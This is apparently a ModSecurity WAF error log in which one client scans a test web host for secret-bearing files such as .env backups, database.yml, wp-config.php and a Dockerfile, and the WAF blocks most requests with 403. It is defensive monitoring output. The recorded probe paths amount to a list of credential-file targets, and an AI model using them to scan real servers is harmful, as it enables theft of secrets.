[Sun Nov 30 15:24:59.109226 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/database.yml&quot;] [unique_id &quot;aSxTuy6tRBnriPIR7Vg5gQAAAAw&quot;]
[Sun Nov 30 15:24:59.333830 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /v2/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v2/.env&quot;] [unique_id &quot;aSxTuy6tRBnriPIR7Vg5ggAAAAw&quot;]
[Sun Nov 30 15:24:59.334059 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v2/.env&quot;] [unique_id &quot;aSxTuy6tRBnriPIR7Vg5ggAAAAw&quot;]
[Sun Nov 30 15:24:59.334281 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v2/.env&quot;] [unique_id &quot;aSxTuy6tRBnriPIR7Vg5ggAAAAw&quot;]
[Sun Nov 30 15:24:59.787363 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env.old&quot;] [unique_id &quot;aSxTuy6tRBnriPIR7Vg5hAAAAAw&quot;]
[Sun Nov 30 15:24:59.787533 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /plugins/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env.old&quot;] [unique_id &quot;aSxTuy6tRBnriPIR7Vg5hAAAAAw&quot;]
[Sun Nov 30 15:24:59.787737 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env.old&quot;] [unique_id &quot;aSxTuy6tRBnriPIR7Vg5hAAAAAw&quot;]
[Sun Nov 30 15:24:59.787925 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env.old&quot;] [unique_id &quot;aSxTuy6tRBnriPIR7Vg5hAAAAAw&quot;]
[Sun Nov 30 15:25:00.012689 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;Dockerfile&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: Dockerfile found within REQUEST_FILENAME: /dockerfile&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Dockerfile&quot;] [unique_id &quot;aSxTvC6tRBnriPIR7Vg5hQAAAAw&quot;]
[Sun Nov 30 15:25:00.012947 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Dockerfile&quot;] [unique_id &quot;aSxTvC6tRBnriPIR7Vg5hQAAAAw&quot;]
[Sun Nov 30 15:25:00.013175 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Dockerfile&quot;] [unique_id &quot;aSxTvC6tRBnriPIR7Vg5hQAAAAw&quot;]
[Sun Nov 30 15:25:00.463226 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /system/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env.save&quot;] [unique_id &quot;aSxTvC6tRBnriPIR7Vg5hwAAAAw&quot;]
[Sun Nov 30 15:25:00.463443 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env.save&quot;] [unique_id &quot;aSxTvC6tRBnriPIR7Vg5hwAAAAw&quot;]
[Sun Nov 30 15:25:00.463662 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env.save&quot;] [unique_id &quot;aSxTvC6tRBnriPIR7Vg5hwAAAAw&quot;]
[Sun Nov 30 15:25:00.688751 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /vendor/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env.save&quot;] [unique_id &quot;aSxTvC6tRBnriPIR7Vg5iAAAAAw&quot;]
[Sun Nov 30 15:25:00.688975 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env.save&quot;] [unique_id &quot;aSxTvC6tRBnriPIR7Vg5iAAAAAw&quot;]
[Sun Nov 30 15:25:00.689221 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env.save&quot;] [unique_id &quot;aSxTvC6tRBnriPIR7Vg5iAAAAAw&quot;]
[Sun Nov 30 15:25:01.140655 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.test&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test&quot;] [unique_id &quot;aSxTvS6tRBnriPIR7Vg5igAAAAw&quot;]
[Sun Nov 30 15:25:01.140892 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test&quot;] [unique_id &quot;aSxTvS6tRBnriPIR7Vg5igAAAAw&quot;]
[Sun Nov 30 15:25:01.141115 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test&quot;] [unique_id &quot;aSxTvS6tRBnriPIR7Vg5igAAAAw&quot;]
[Sun Nov 30 15:25:01.368230 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env.bak&quot;] [unique_id &quot;aSxTvS6tRBnriPIR7Vg5iwAAAAw&quot;]
[Sun Nov 30 15:25:01.368412 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /plugins/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env.bak&quot;] [unique_id &quot;aSxTvS6tRBnriPIR7Vg5iwAAAAw&quot;]
[Sun Nov 30 15:25:01.368634 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env.bak&quot;] [unique_id &quot;aSxTvS6tRBnriPIR7Vg5iwAAAAw&quot;]
[Sun Nov 30 15:25:01.368869 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env.bak&quot;] [unique_id &quot;aSxTvS6tRBnriPIR7Vg5iwAAAAw&quot;]
[Sun Nov 30 15:25:02.721204 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env.old&quot;] [unique_id &quot;aSxTvi6tRBnriPIR7Vg5kQAAAAw&quot;]
[Sun Nov 30 15:25:02.721376 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /includes/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env.old&quot;] [unique_id &quot;aSxTvi6tRBnriPIR7Vg5kQAAAAw&quot;]
[Sun Nov 30 15:25:02.721582 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env.old&quot;] [unique_id &quot;aSxTvi6tRBnriPIR7Vg5kQAAAAw&quot;]
[Sun Nov 30 15:25:02.721803 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env.old&quot;] [unique_id &quot;aSxTvi6tRBnriPIR7Vg5kQAAAAw&quot;]
[Sun Nov 30 15:25:02.946736 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;aSxTvi6tRBnriPIR7Vg5kgAAAAw&quot;]
[Sun Nov 30 15:25:02.946964 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;aSxTvi6tRBnriPIR7Vg5kgAAAAw&quot;]
[Sun Nov 30 15:25:02.947196 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;aSxTvi6tRBnriPIR7Vg5kgAAAAw&quot;]
